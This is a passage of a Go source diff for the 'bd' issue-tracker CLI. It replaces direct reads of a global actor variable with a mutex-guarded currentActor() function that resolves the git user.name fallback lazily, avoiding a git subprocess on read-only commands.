runGitLabSync(cmd *cobra.Command, args []string) error { } // Create the sync engine - engine := tracker.NewEngine(gt, store, actor) + engine := tracker.NewEngine(gt, store, currentActor()) if !jsonOutput { engine.OnMessage = func(msg string) { _, _ = fmt.Fprintln(out, " "+msg) } } diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 00faeb197..9a52f1415 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -1167,7 +1167,7 @@ func graphApplyEdgeBatchMetadata(edge GraphApplyEdge, depType types.DependencyTy } func executeGraphApply(ctx context.Context, plan *GraphApplyPlan, opts GraphApplyOptions) (*GraphApplyResult, error) { - req, err := buildGraphApplyBatchRequest(plan, opts, actor, getOwner()) + req, err := buildGraphApplyBatchRequest(plan, opts, currentActor(), getOwner()) if err != nil { return nil, err } diff --git a/cmd/bd/heartbeat.go b/cmd/bd/heartbeat.go index 281db80c2..6790047a7 100644 --- a/cmd/bd/heartbeat.go +++ b/cmd/bd/heartbeat.go @@ -68,11 +68,11 @@ Examples: defer result.Close() issueStore := result.Store - if err := issueStore.HeartbeatIssue(ctx, result.ResolvedID, actor); err != nil { + if err := issueStore.HeartbeatIssue(ctx, result.ResolvedID, currentActor()); err != nil { return HandleErrorRespectJSON("heartbeat %s: %v", result.ResolvedID, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "heartbeat", IssueIDs: []string{result.ResolvedID}, }); err != nil { @@ -94,7 +94,7 @@ func renderHeartbeatSuccess(id, title string) error { return outputJSON(map[string]string{ "id": id, "status": "heartbeat", - "owner": actor, + "owner": currentActor(), }) } fmt.Printf("%s Heartbeat %s (lease refreshed)\n", ui.RenderPass("✓"), formatFeedbackID(id, title)) diff --git a/cmd/bd/heartbeat_proxied_server.go b/cmd/bd/heartbeat_proxied_server.go index 80de4a033..c09772f52 100644 --- a/cmd/bd/heartbeat_proxied_server.go +++ b/cmd/bd/heartbeat_proxied_server.go @@ -41,7 +41,7 @@ func runHeartbeatProxiedServer(ctx context.Context, id string) error { } // Wisps resolve here too and are refused below: the repo verb // classifies them ErrNotClaimable ("is ephemeral"), same as classic. - if herr := uw.IssueUseCase().Heartbeat(ctx, issue.ID, actor); herr != nil { + if herr := uw.IssueUseCase().Heartbeat(ctx, issue.ID, currentActor()); herr != nil { return heartbeatProxiedOutcome{}, fmt.Errorf("heartbeat %s: %w", issue.ID, herr) } return heartbeatProxiedOutcome{id: issue.ID, title: issue.Title}, nil diff --git a/cmd/bd/human.go b/cmd/bd/human.go index c87faa2d6..19fb98907 100644 --- a/cmd/bd/human.go +++ b/cmd/bd/human.go @@ -307,12 +307,12 @@ Examples: warnIfNotHumanLabeled(issue) - _, err = targetStore.AddIssueComment(ctx, resolvedID, actor, commentText) + _, err = targetStore.AddIssueComment(ctx, resolvedID, currentActor(), commentText) if err != nil { return HandleErrorRespectJSON("adding comment: %v", err) } - if err := targetStore.CloseIssue(ctx, resolvedID, "Responded", actor, ""); err != nil { + if err := targetStore.CloseIssue(ctx, resolvedID, "Responded", currentActor(), ""); err != nil { return HandleErrorRespectJSON("closing bead: %v", err) } @@ -403,7 +403,7 @@ Examples: warnIfNotHumanLabeled(issue) - if err := targetStore.CloseIssue(ctx, resolvedID, closeReason, actor, ""); err != nil { + if err := targetStore.CloseIssue(ctx, resolvedID, closeReason, currentActor(), ""); err != nil { return HandleErrorRespectJSON("closing bead: %v", err) } diff --git a/cmd/bd/human_proxied_server.go b/cmd/bd/human_proxied_server.go index 10c948add..924ed2632 100644 --- a/cmd/bd/human_proxied_server.go +++ b/cmd/bd/human_proxied_server.go @@ -122,9 +122,9 @@ func closeHumanProxied(ctx context.Context, id, comment, closeReason, commitVerb if comment != "" { var cerr error if isWisp { - _, cerr = uw.CommentUseCase().AddCommentToWisp(ctx, issue.ID, actor, comment) + _, cerr = uw.CommentUseCase().AddCommentToWisp(ctx, issue.ID, currentActor(), comment) } else { - _, cerr = uw.CommentUseCase().AddCommentToIssue(ctx, issue.ID, actor, comment) + _, cerr = uw.CommentUseCase().AddCommentToIssue(ctx, issue.ID, currentActor(), comment) } if cerr != nil { return humanCloseResult{}, "", fmt.Errorf("adding comment: %w", cerr) @@ -133,9 +133,9 @@ func closeHumanProxied(ctx context.Context, id, comment, closeReason, commitVerb params := domain.CloseIssueParams{Reason: closeReason} if isWisp { - _, err = uw.IssueUseCase().CloseWisp(ctx, issue.ID, params, actor) + _, err = uw.IssueUseCase().CloseWisp(ctx, issue.ID, params, currentActor()) } else { - _, err = uw.IssueUseCase().CloseIssue(ctx, issue.ID, params, actor) + _, err = uw.IssueUseCase().CloseIssue(ctx, issue.ID, params, currentActor()) } if err != nil { return humanCloseResult{}, "", fmt.Errorf("closing bead: %w", err) diff --git a/cmd/bd/jira.go b/cmd/bd/jira.go index 099359b2a..b03574fe9 100644 --- a/cmd/bd/jira.go +++ b/cmd/bd/jira.go @@ -139,7 +139,7 @@ func runJiraSync(cmd *cobra.Command, args []string) error { return HandleErrorRespectJSON("initializing Jira tracker: %v", err) } - engine := tracker.NewEngine(jt, trackerStore, actor) + engine := tracker.NewEngine(jt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } diff --git a/cmd/bd/label.go b/cmd/bd/label.go index 46fcfd177..5f5a768db 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -165,7 +165,7 @@ func applyLabelEdit(ctx context.Context, issueIDs []string, labels []string, ope } } result, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: issueID, Patch: patch, }) @@ -361,7 +361,7 @@ func removeLabelsByPrefix(ctx context.Context, issueIDs []string, prefix string, outcomes := make([]labelEditOutcome, 0, len(targets)) for _, target := range targets { result, uerr := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: target.issueID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Remove: target.labels}}, }) @@ -707,7 +707,7 @@ var labelPropagateCmd = &cobra.Command{ commitMsg := fmt.Sprintf("bd: propagate label '%s' from %s to %d children", label, parentID, len(children)) err = transactHonoringAutoCommit(ctx, store, commitMsg, func(tx storage.Transaction) error { for _, child := range children { - if err := tx.AddLabel(ctx, child.ID, label, actor); err != nil { + if err := tx.AddLabel(ctx, child.ID, label, currentActor()); err != nil { return fmt.Errorf("add label '%s' on %s: %w", label, child.ID, err) } } @@ -809,7 +809,7 @@ func runLabelRename(ctx context.Context, args []string, dryRun bool) error { if usesProxiedServer() { renamed, merged, err = runLabelRenameProxiedServer(ctx, oldLabel, newLabel) } else { - renamed, merged, _, err = store.RenameLabel(ctx, oldLabel, newLabel, actor) + renamed, merged, _, err = store.RenameLabel(ctx, oldLabel, newLabel, currentActor()) } // Recorded from renamed>0 BEFORE the error check: a rename can commit its // SQL side and still return a non-nil err (e.g. the Dolt publication step diff --git a/cmd/bd/label_proxied_server.go b/cmd/bd/label_proxied_server.go index 9d5b955a1..0bf9215f0 100644 --- a/cmd/bd/label_proxied_server.go +++ b/cmd/bd/label_proxied_server.go @@ -148,7 +148,7 @@ func runLabelRenameProxiedServer(ctx context.Context, oldLabel, newLabel string) err = uow.RunTx(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { var rerr error - renamed, merged, _, rerr = uw.LabelUseCase().RenameLabel(ctx, oldLabel, newLabel, actor) //nolint:forbidigo // bulk rename; no role serves it, and Patch.Labels would reintroduce the per-issue add/remove event divergence this delegation replaced + renamed, merged, _, rerr = uw.LabelUseCase().RenameLabel(ctx, oldLabel, newLabel, currentActor()) //nolint:forbidigo // bulk rename; no role serves it, and Patch.Labels would reintroduce the per-issue add/remove event divergence this delegation replaced if rerr != nil { return "", fmt.Errorf("rename label '%s' -> '%s': %w", oldLabel, newLabel, rerr) } @@ -209,9 +209,9 @@ func runLabelPropagateProxiedServer(ctx context.Context, args []string) error { for _, child := range children { var e error if child.Ephemeral { - e = uw.LabelUseCase().AddWispLabel(ctx, child.ID, label, actor) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor + e = uw.LabelUseCase().AddWispLabel(ctx, child.ID, label, currentActor()) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor } else { - e = uw.LabelUseCase().AddLabel(ctx, child.ID, label, actor) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor + e = uw.LabelUseCase().AddLabel(ctx, child.ID, label, currentActor()) //nolint:forbidigo // atomic N-child fan-out; awaits a BatchApplier accessor } if e != nil { return "", fmt.Errorf("add label '%s' on %s: %w", label, child.ID, e) diff --git a/cmd/bd/linear.go b/cmd/bd/linear.go index 8e24cb777..f6ba42990 100644 --- a/cmd/bd/linear.go +++ b/cmd/bd/linear.go @@ -338,14 +338,14 @@ func runLinearSync(cmd *cobra.Command, args []string) error { } } - engine := tracker.NewEngine(lt, trackerStore, actor) + engine := tracker.NewEngine(lt, trackerStore, currentActor()) engine.OnMessage = func(msg string) { fmt.Println(" " + msg) } engine.OnWarning = func(msg string) { fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) } engine.PullHooks = buildLinearPullHooksForStore(ctx, trackerStore, linearPullHookOptions{ Milestones: milestones, DryRun: dryRun, - Actor: actor, + Actor: currentActor(), }) opts := tracker.SyncOptions{ @@ -488,7 +488,7 @@ func buildLinearPullHooksForStore(ctx context.Context, st tracker.Store, opts li hooks := &tracker.PullHooks{} hookActor := opts.Actor if hookActor == "" { - hookActor = actor + hookActor = currentActor() } var generateID func(context.Context, *types.Issue) error diff --git a/cmd/bd/link.go b/cmd/bd/link.go index 772a88d91..a05be924b 100644 --- a/cmd/bd/link.go +++ b/cmd/bd/link.go @@ -77,13 +77,13 @@ Examples: Type: dt, } - if err := fromStore.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{EmitEvent: true}); err != nil { + if err := fromStore.AddDependencyWithOptions(ctx, dep, currentActor(), storage.DependencyAddOptions{EmitEvent: true}); err != nil { return HandleErrorRespectJSON("%v", err) } warnIfCyclesExist(fromStore) - if err := commitPendingIfEmbedded(ctx, fromStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, fromStore, currentActor(), doltAutoCommitParams{ Command: "link", IssueIDs: []string{fromID, toID}, }); err != nil { diff --git a/cmd/bd/link_proxied_server.go b/cmd/bd/link_proxied_server.go index aa7fac1b9..aef888968 100644 --- a/cmd/bd/link_proxied_server.go +++ b/cmd/bd/link_proxied_server.go @@ -35,7 +35,7 @@ func runLinkProxiedServer(cmd *cobra.Command, ctx context.Context, args []string // Source-routed, like the direct twin's store.AddDependencyWithOptions: // `bd link` takes whatever id the caller names, and a wisp source has no // row in the issues plane for the edge to hang off. - if _, err := uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, actor, domain.BulkAddDepsOpts{}); err != nil { + if _, err := uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, currentActor(), domain.BulkAddDepsOpts{}); err != nil { return "", err } return fmt.Sprintf("bd: link %s %s", id1, id2), nil diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 9fd38b3b9..901d461ee 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -840,6 +840,10 @@ func refreshBoundCommandConfig(cmd *cobra.Command) { readonlyMode = config.GetBool("readonly") } if !root.PersistentFlags().Changed("actor") { + // Raw write, not setActor: every caller runs in PersistentPreRunE + // BEFORE deferActorGitFallback, which then decides from this value + // whether the git user.name fallback is pending. A call after it would + // need setActor (and the deferral re-run) to keep that decision true. actor = resolveConfiguredActor() } if !root.PersistentFlags().Changed("dolt-auto-commit") { @@ -893,11 +897,74 @@ func resolveConfiguredActor() string { return config.GetString("actor") } +// actorGitFallbackPending records that PersistentPreRunE deferred the +// getActorWithGit fallback (git config user.name, then $USER) instead of +// resolving it eagerly. Most invocations — every read-only list/show/query a +// tool like gascity issues by the hundred — never consult the actor, and the +// eager lookup cost one `git config` subprocess per bd call. currentActor +// performs the deferred resolution on first use, so the resolved value and its +// priority order are unchanged; only the moment of the lookup moves. +// +// Guarded by actorMu together with the resolution it triggers. Plain writes to +// actor elsewhere stay unguarded, exactly as before this was introduced. +var ( + actorMu sync.Mutex + actorGitFallbackPending bool +) + +// deferActorGitFallback replaces the former eager `actor = getActorWithGit()` +// in PersistentPreRunE. A non-empty actor (--actor, BEADS_ACTOR, BD_ACTOR or +// config.yaml) is already the answer getActorWithGit would return, so only an +// empty actor needs the deferred fallback. +func deferActorGitFallback() { + actorMu.Lock() + defer actorMu.Unlock() + actorGitFallbackPending = actor == "" +} + +// currentActor returns the actor for this invocation, resolving a fallback +// deferred by deferActorGitFallback on first use. Command code reads the actor +// through this instead of the raw global so that the git lookup happens only +// when an actor is actually needed. +func currentActor() string { + actorMu.Lock() + defer actorMu.Unlock() + resolvePendingActorLocked() + return actor +} + +// resolvePendingActorLocked performs a deferred fallback. Caller holds actorMu. +func resolvePendingActorLocked() { + if !actorGitFallbackPending { + return + } + actorGitFallbackPending = false + deferred := actor + actor = resolveActorWithGit() + // Keep the CommandContext copy in step, as the eager assignment did + // before syncCommandContext copied it. + if cmdCtx != nil && cmdCtx.Actor == deferred { + cmdCtx.Actor = actor + } +} + // getActorWithGit returns the actor for audit trails with git config fallback. // Priority: --actor flag > BEADS_ACTOR env > BD_ACTOR env (deprecated) > git config user.name > $USER > "unknown" // This provides a sensible default for developers: their git identity is used unless -// explicitly overridden +// explicitly overridden. +// +// After PersistentPreRunE it returns the same value as currentActor (resolving +// a deferred fallback once, into the global, as the eager assignment did). func getActorWithGit() string { + actorMu.Lock() + defer actorMu.Unlock() + resolvePendingActorLocked() + return resolveActorWithGit() +} + +// resolveActorWithGit is getActorWithGit's resolution order, without the +// deferred-fallback bookkeeping. Caller holds actorMu or owns the global. +func resolveActorWithGit() string { // If actor is already set (from --actor flag), use it if actor != "" { return actor @@ -1239,6 +1306,10 @@ var rootCmd = &cobra.Command{ WasSet bool }{dbPath, true} } + // Reads and writes the raw global on purpose: this runs before + // deferActorGitFallback, so no fallback is pending yet and the value + // is only the flag/env/config actor. currentActor() here would resolve + // git user.name eagerly, which is what the deferral exists to avoid. if !cmd.Root().PersistentFlags().Changed("actor") && actor == "" { actor = resolveConfiguredActor() } else if cmd.Root().PersistentFlags().Changed("actor") { @@ -1674,11 +1745,14 @@ var rootCmd = &cobra.Command{ return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapReadonly)) } - // Set actor for audit trail - actor = getActorWithGit() - // Attach actor to the command span now that we have it. - if commandSpan != nil { - commandSpan.SetAttributes(attribute.String("bd.actor", actor)) + // Set actor for audit trail. The git config user.name fallback is + // resolved lazily by currentActor, so commands that never consult the + // actor (read-only queries) do not spawn a git subprocess for it. + deferActorGitFallback() + // Attach actor to the command span. Only a recording span (telemetry + // enabled) needs the value, so a noop span does not force the lookup. + if commandSpan != nil && commandSpan.IsRecording() { + commandSpan.SetAttributes(attribute.String("bd.actor", currentActor())) } // Check if this is a read-only command (GH#804) or an explicitly diff --git a/cmd/bd/markdown.go b/cmd/bd/markdown.go index 2c002ad74..b902ad7a4 100644 --- a/cmd/bd/markdown.go +++ b/cmd/bd/markdown.go @@ -425,8 +425,8 @@ func markdownBatchActor(in createInput) string { if in.createdBy != "" { return in.createdBy } - if actor != "" { - return actor + if currentActor() != "" { + return currentActor() } return "bd" } diff --git a/cmd/bd/merge_slot.go b/cmd/bd/merge_slot.go index 927327472..cfd715394 100644 --- a/cmd/bd/merge_slot.go +++ b/cmd/bd/merge_slot.go @@ -126,7 +126,7 @@ func runMergeSlotCreate(cmd *cobra.Command, args []string) error { } }() - issue, err := store.MergeSlotCreate(rootCtx, actor) + issue, err := store.MergeSlotCreate(rootCtx, currentActor()) if err != nil { return HandleErrorRespectJSON("%v", err) } @@ -222,13 +222,13 @@ func runMergeSlotAcquire(cmd *cobra.Command, args []string) error { holder := mergeSlotHolder if holder == "" { - holder = actor + holder = currentActor() } if holder == "" { return HandleError("no holder specified; use --holder or set BEADS_ACTOR env var") } - result, err := store.MergeSlotAcquire(rootCtx, holder, actor, mergeSlotAddWaiter) + result, err := store.MergeSlotAcquire(rootCtx, holder, currentActor(), mergeSlotAddWaiter) if err != nil { return HandleErrorRespectJSON("%v", err) } @@ -305,7 +305,7 @@ func runMergeSlotRelease(cmd *cobra.Command, args []string) error { } }() - if err := store.MergeSlotRelease(rootCtx, mergeSlotHolder, actor); err != nil { + if err := store.MergeSlotRelease(rootCtx, mergeSlotHolder, currentActor()); err != nil { return HandleErrorRespectJSON("%v", err) } diff --git a/cmd/bd/migrate_issues.go b/cmd/bd/migrate_issues.go index 382d7ac3b..192afcaf9 100644 --- a/cmd/bd/migrate_issues.go +++ b/cmd/bd/migrate_issues.go @@ -600,7 +600,7 @@ func executeMigration(ctx context.Context, s storage.DoltStorage, migrationSet [ for _, id := range migrationSet { if err := tx.UpdateIssue(ctx, id, map[string]interface{}{ "source_repo": to, - }, actor); err != nil { + }, currentActor()); err != nil { return fmt.Errorf("failed to update issue %s: %w", id, err) } } diff --git a/cmd/bd/mol_bond.go b/cmd/bd/mol_bond.go index 3ea600de9..4f8a5f2c2 100644 --- a/cmd/bd/mol_bond.go +++ b/cmd/bd/mol_bond.go @@ -148,21 +148,21 @@ func runMolBond(cmd *cobra.Command, args []string) error { var result *BondResult switch { case aIsProto && bIsProto: - result, err = bondProtoProto(ctx, store, issueA, issueB, in.bondType, in.customTitle, actor) + result, err = bondProtoProto(ctx, store, issueA, issueB, in.bondType, in.customTitle, currentActor()) case aIsProto && !bIsProto: if cookedA { - result, err = bondProtoMolWithSubgraph(ctx, store, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolWithSubgraph(ctx, store, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } else { - result, err = bondProtoMol(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMol(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } case !aIsProto && bIsProto: if cookedB { - result, err = bondProtoMolWithSubgraph(ctx, store, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolWithSubgraph(ctx, store, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } else { - result, err = bondMolProto(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondMolProto(ctx, store, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) } default: - result, err = bondMolMol(ctx, store, issueA, issueB, in.bondType, actor) + result, err = bondMolMol(ctx, store, issueA, issueB, in.bondType, currentActor()) } if err != nil { return HandleErrorRespectJSON("bonding: %v", err) diff --git a/cmd/bd/mol_burn.go b/cmd/bd/mol_burn.go index 3062ff794..48293d832 100644 --- a/cmd/bd/mol_burn.go +++ b/cmd/bd/mol_burn.go @@ -190,7 +190,7 @@ func burnMultipleMolecules(ctx context.Context, moleculeIDs []string, dryRun, fo // Batch delete all wisps in one call if len(wispIDs) > 0 { - result, err := burnWisps(ctx, store, wispIDs, actor) + result, err := burnWisps(ctx, store, wispIDs, currentActor()) if err != nil { if !jsonOutput { fmt.Fprintf(os.Stderr, "Error burning wisps: %v\n", err) @@ -296,7 +296,7 @@ func burnWispMolecule(ctx context.Context, resolvedID string, dryRun, force bool } } - result, err := burnWisps(ctx, store, wispIDs, actor) + result, err := burnWisps(ctx, store, wispIDs, currentActor()) if err != nil { return HandleErrorRespectJSON("burning wisp: %v", err) } diff --git a/cmd/bd/mol_current.go b/cmd/bd/mol_current.go index f3d92d33f..6769f01ef 100644 --- a/cmd/bd/mol_current.go +++ b/cmd/bd/mol_current.go @@ -73,7 +73,7 @@ Use --limit or --range to view specific steps: agent := forAgent if agent == "" { - agent = actor + agent = currentActor() } if usesProxiedServer() { diff --git a/cmd/bd/mol_progress.go b/cmd/bd/mol_progress.go index ba35c2b61..df77f9359 100644 --- a/cmd/bd/mol_progress.go +++ b/cmd/bd/mol_progress.go @@ -58,7 +58,7 @@ Example: } moleculeID = resolved } else { - moleculeIDs := findInProgressMoleculeIDs(ctx, store, actor) + moleculeIDs := findInProgressMoleculeIDs(ctx, store, currentActor()) if len(moleculeIDs) == 0 { if jsonOutput { return outputJSON([]interface{}{}) diff --git a/cmd/bd/mol_proxied_server.go b/cmd/bd/mol_proxied_server.go index 6136499dc..04f16955e 100644 --- a/cmd/bd/mol_proxied_server.go +++ b/cmd/bd/mol_proxied_server.go @@ -124,7 +124,7 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { spawnResult, err := cloneSubgraphInto(ctx, w, subgraph, CloneOptions{ Vars: vars, Assignee: in.assignee, - Actor: actor, + Actor: currentActor(), Prefix: types.IDPrefixMol, }) if err != nil { @@ -138,7 +138,7 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { return pourProxiedResult{}, "", fmt.Errorf("loading spawned mol: %w", err) } for _, attach := range attachments { - bondResult, err := bondProtoMolAttachInto(ctx, w, attach.subgraph, attach.issue, spawnedMol, in.attachType, vars, "", actor, false, true) + bondResult, err := bondProtoMolAttachInto(ctx, w, attach.subgraph, attach.issue, spawnedMol, in.attachType, vars, "", currentActor(), false, true) if err != nil { return pourProxiedResult{}, "", fmt.Errorf("attaching %s: %w", attach.id, err) } @@ -278,7 +278,7 @@ func runMolProgressProxiedServer(ctx context.Context, args []string) error { } moleculeID = resolved } else { - moleculeIDs := findInProgressMoleculeIDs(ctx, r, actor) + moleculeIDs := findInProgressMoleculeIDs(ctx, r, currentActor()) if len(moleculeIDs) == 0 { if jsonOutput { return outputJSON([]interface{}{}) @@ -426,13 +426,13 @@ func runMolBondProxiedServer(ctx context.Context, in molBondInput) error { var result *BondResult switch { case aIsProto && bIsProto: - result, err = bondProtoProtoInto(ctx, w, issueA, issueB, in.bondType, in.customTitle, actor) + result, err = bondProtoProtoInto(ctx, w, issueA, issueB, in.bondType, in.customTitle, currentActor()) case aIsProto && !bIsProto: - result, err = bondProtoMolAttachInto(ctx, w, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolAttachInto(ctx, w, subgraphA, issueA, issueB, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) case !aIsProto && bIsProto: - result, err = bondProtoMolAttachInto(ctx, w, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, actor, in.ephemeral, in.pour) + result, err = bondProtoMolAttachInto(ctx, w, subgraphB, issueB, issueA, in.bondType, in.vars, in.childRef, currentActor(), in.ephemeral, in.pour) default: - result, err = bondMolMolInto(ctx, w, issueA, issueB, in.bondType, actor) + result, err = bondMolMolInto(ctx, w, issueA, issueB, in.bondType, currentActor()) } if err != nil { return bondTxResult{}, "", fmt.Errorf("bonding: %w", err) @@ -501,7 +501,7 @@ func runMolSquashProxiedServer(ctx context.Context, in molSquashInput) error { return &SquashResult{MoleculeID: moleculeID, SquashedCount: 0}, "", nil } - result, err := squashMoleculeInto(ctx, w, subgraph.Root, wispChildren, in.keepChildren, in.summary, actor) + result, err := squashMoleculeInto(ctx, w, subgraph.Root, wispChildren, in.keepChildren, in.summary, currentActor()) if err != nil { return nil, "", fmt.Errorf("squashing molecule: %w", err) } @@ -638,7 +638,7 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b if len(wispIDs) > 0 { // The wisp half's direct twin is burnWisps -> `transact`. result, err := uow.RunTxResult(explicitCommitPointContext(ctx), uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (*BurnResult, string, error) { - r, err := burnWispsInto(ctx, newUOWMolWriter(uw), wispIDs, actor) + r, err := burnWispsInto(ctx, newUOWMolWriter(uw), wispIDs, currentActor()) if err != nil { return nil, "", err } @@ -672,7 +672,7 @@ func runMolBurnProxiedServer(ctx context.Context, args []string, dryRun, force b IDs: issueIDs, Cascade: true, UpdateTextReferences: true, - }, actor) + }, currentActor()) if err != nil { return BurnResult{}, "", fmt.Errorf("burning %s: %w", id, err) } diff --git a/cmd/bd/mol_squash.go b/cmd/bd/mol_squash.go index 223e31955..39363cbdd 100644 --- a/cmd/bd/mol_squash.go +++ b/cmd/bd/mol_squash.go @@ -178,7 +178,7 @@ func runMolSquash(cmd *cobra.Command, args []string) error { return nil } - result, err := squashMolecule(ctx, store, subgraph.Root, wispChildren, in.keepChildren, in.summary, actor) + result, err := squashMolecule(ctx, store, subgraph.Root, wispChildren, in.keepChildren, in.summary, currentActor()) if err != nil { return HandleErrorRespectJSON("squashing molecule: %v", err) } diff --git a/cmd/bd/mutate_proxied_server.go b/cmd/bd/mutate_proxied_server.go index 7008e9a41..fa72c238e 100644 --- a/cmd/bd/mutate_proxied_server.go +++ b/cmd/bd/mutate_proxied_server.go @@ -54,15 +54,15 @@ func proxiedUpdateIssueFields(ctx context.Context, id, commitMsg string, updates // bd-98s5c: an unguarded assignee update (bd assign via the proxied // server) must not silently overwrite another actor's live claim. if newAssignee, ok := updates["assignee"].(string); ok { - if err := validateIssueReassignable(id, issue, actor, newAssignee, + if err := validateIssueReassignable(id, issue, currentActor(), newAssignee, uowClaimPoolAliases(ctx, uw), force); err != nil { return err } } if isWisp { - return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, currentActor()) } - return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, currentActor()) }) } @@ -95,7 +95,7 @@ func proxiedAssign(ctx context.Context, id, assignee string, force bool, ifRevis // from the guarded write below instead of this policy refusal — see // ifRevisionAlreadyStale's doc. if !ifRevisionAlreadyStale(current, ifRevision) { - if verr := validateIssueReassignable(id, current, actor, assignee, + if verr := validateIssueReassignable(id, current, currentActor(), assignee, uowClaimPoolAliases(ctx, uw), force); verr != nil { return struct{}{}, verr } @@ -111,7 +111,7 @@ func proxiedAssign(ctx context.Context, id, assignee string, force bool, ifRevis return nil, err } result, err := runCommandUpdateMutation(ctx, ops, commandUpdateMutation{ - actor: actor, + actor: currentActor(), issueID: id, patch: issueops.IssuePatch{ Assignee: issueops.Field[string]{Set: true, Value: assignee}, @@ -183,9 +183,9 @@ func runNoteProxiedServer(ctx context.Context, id, noteText string) error { combined += noteText updates := map[string]any{"notes": combined} if isWisp { - return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateWisp(ctx, issue.ID, updates, currentActor()) } - return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, actor) + return uw.IssueUseCase().UpdateIssue(ctx, issue.ID, updates, currentActor()) }) if err != nil { return HandleErrorRespectJSON("note %s: %v", id, err) @@ -245,7 +245,7 @@ func runTagProxiedServer(ctx context.Context, id, label string) error { return HandleErrorRespectJSON("tag %s: %v", id, err) } result, err := lifecycle.Update(ctx, issueops.UpdateRequest{ - Actor: actor, + Actor: currentActor(), IssueID: details.ID, Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{Add: []string{label}}}, }) diff --git a/cmd/bd/note.go b/cmd/bd/note.go index b0c8eeeab..9ee62cb9e 100644 --- a/cmd/bd/note.go +++ b/cmd/bd/note.go @@ -173,10 +173,10 @@ To read notes on an issue, use: bd show `, updates := map[string]interface{}{ issueops.OpAppendNotes: noteText, } - if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, actor); err != nil { + if err := issueStore.UpdateIssue(ctx, result.ResolvedID, updates, currentActor()); err != nil { return HandleErrorRespectJSON("updating %s: %v", id, err) } - if err := commitPendingIfEmbedded(ctx, issueStore, actor, doltAutoCommitParams{ + if err := commitPendingIfEmbedded(ctx, issueStore, currentActor(), doltAutoCommitParams{ Command: "note", IssueIDs: []string{result.ResolvedID}, }); err != nil { diff --git a/cmd/bd/notion.go b/cmd/bd/notion.go index 664cd31f6..3ec42b336 100644 --- a/cmd/bd/notion.go +++ b/cmd/bd/notion.go @@ -467,7 +467,7 @@ func runNotionSync(cmd *cobra.Command, _ []string) error { return HandleError("initializing Notion tracker: %v", err) } - engine := tracker.NewEngine(nt, store, actor) + engine := tracker.NewEngine(nt, store, currentActor()) engine.PullHooks = buildNotionPullHooks(ctx) unsupportedStats := newNotionUnsupportedPushStats() engine.PushHooks = buildNotionPushHooks(ctx, nt, unsupportedStats) diff --git a/cmd/bd/pour.go b/cmd/bd/pour.go index 91aa946eb..7260365ee 100644 --- a/cmd/bd/pour.go +++ b/cmd/bd/pour.go @@ -198,7 +198,7 @@ func runPour(cmd *cobra.Command, args []string) error { return nil } - result, err := spawnMolecule(ctx, store, subgraph, vars, in.assignee, actor, false, types.IDPrefixMol) + result, err := spawnMolecule(ctx, store, subgraph, vars, in.assignee, currentActor(), false, types.IDPrefixMol) if err != nil { return HandleError("pouring proto: %v", err) } @@ -211,7 +211,7 @@ func runPour(cmd *cobra.Command, args []string) error { } for _, attach := range attachments { - bondResult, err := bondProtoMol(ctx, store, attach.issue, spawnedMol, in.attachType, vars, "", actor, false, true) + bondResult, err := bondProtoMol(ctx, store, attach.issue, spawnedMol, in.attachType, vars, "", currentActor(), false, true) if err != nil { return HandleError("attaching %s: %v", attach.id, err) } 